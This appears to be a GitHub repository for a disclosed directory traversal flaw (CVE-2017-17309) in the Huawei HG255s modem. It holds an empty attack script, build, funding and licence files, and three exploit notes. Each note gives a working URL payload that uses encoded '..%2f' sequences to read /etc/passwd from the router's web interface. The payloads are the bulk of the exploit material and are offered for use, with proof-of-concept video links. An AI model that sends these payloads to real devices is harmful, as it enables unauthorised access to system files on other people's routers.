├── tools ├── hg255s_attack.py └── .travis.yml ├── .github └── FUNDING.yml ├── exploit ├── huawei_hg255_exploit_1.txt ├── huawei_hg255_exploit_2.txt └── huawei_hg255_exploit_3.txt ├── LICENSE └── README.md /tools/hg255s_attack.py: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /tools/.travis.yml: -------------------------------------------------------------------------------- 1 | language: python 2 | python: 3 | - "3.4" 4 | - "3.5" 5 | - "3.6" 6 | # command to install dependencies 7 | install: 8 | - pip install . 9 | # command to run tests 10 | script: 11 | - pytest tests/*.py 12 | -------------------------------------------------------------------------------- /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: ismailtasdelen 4 | patreon: ismailtasdelen 5 | open_collective: # Replace with a single Open Collective username 6 | ko_fi: # Replace with a single Ko-fi username 7 | tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel 8 | community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry 9 | liberapay: ismailtasdelen 10 | issuehunt: # Replace with a single IssueHunt username 11 | otechie: # Replace with a single Otechie username 12 | custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'] 13 | -------------------------------------------------------------------------------- /exploit/huawei_hg255_exploit_1.txt: -------------------------------------------------------------------------------- 1 | # Exploit Title: [Server Directory Traversal at Huawei HG255s] 2 | 3 | # Date: [20.10.2017] 4 | 5 | # Exploit Author: [Ismail Tasdelen] 6 | 7 | # Vendor Homepage: [www.huawei.com] 8 | 9 | # Software Link: [Not published this modem just used by Turkey] 10 | 11 | # Version: [V100R001C163B025SP02] 12 | 13 | # POC: 14 | 15 | https://www.youtube.com/watch?v=sWf-at_CqtQ 16 | 17 | Directory Traversal Payload : http://192.168.0.1/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd 18 | 19 | # You want to follow my activity ? 20 | 21 | https://www.linkedin.com/in/ismailtasdelen 22 | https://github.com/ismailtasdelen 23 | -------------------------------------------------------------------------------- /exploit/huawei_hg255_exploit_2.txt: -------------------------------------------------------------------------------- 1 | # Exploit Title: [Server Directory Traversal at Huawei HG255s] 2 | 3 | # Date: [22.10.2017] 4 | 5 | # Exploit Author: [Ismail Tasdelen] 6 | 7 | # Vendor Homepage: [www.huawei.com] 8 | 9 | # Software Link: [Not published this modem just used by Turkey] 10 | 11 | # Version: [V100R001C163B025SP02] 12 | 13 | # POC: 14 | 15 | https://www.youtube.com/watch?v=KqFEW2bG7ls 16 | 17 | Directory Traversal Payload : http://192.168.0.1/lib/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd 18 | 19 | # You want to follow my activity ? 20 | 21 | https://www.linkedin.com/in/ismailtasdelen 22 | https://github.com/ismailtasdelen 23 | -------------------------------------------------------------------------------- /exploit/huawei_hg255_exploit_3.txt: -------------------------------------------------------------------------------- 1 | # Exploit Title: [Server Directory Traversal at Huawei HG255s] 2 | 3 | # Date: [22.10.2017] 4 | 5 | # Exploit Author: [Ismail Tasdelen] 6 | 7 | # Vendor Homepage: [www.huawei.com] 8 | 9 | # Software Link: [Not published this modem just used by Turkey] 10 | 11 | # Version: [V100R001C163B025SP02] 12 | 13 | # POC: 14 | 15 | https://www.youtube.com/watch?v=h5235yF993o 16 | 17 | Directory Traversal Payload : http://192.168.0.1/res/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd 18 | 19 | # You want to follow my activity ? 20 | 21 | https://www.linkedin.com/in/ismailtasdelen 22 | https://github.com/ismailtasdelen 23 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 İSMAİL TAŞDELEN 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ### Server Directory Traversal at Huawei HG255s - CVE-2017-17309 2 | 3 |  4 | 5 |
6 |
7 |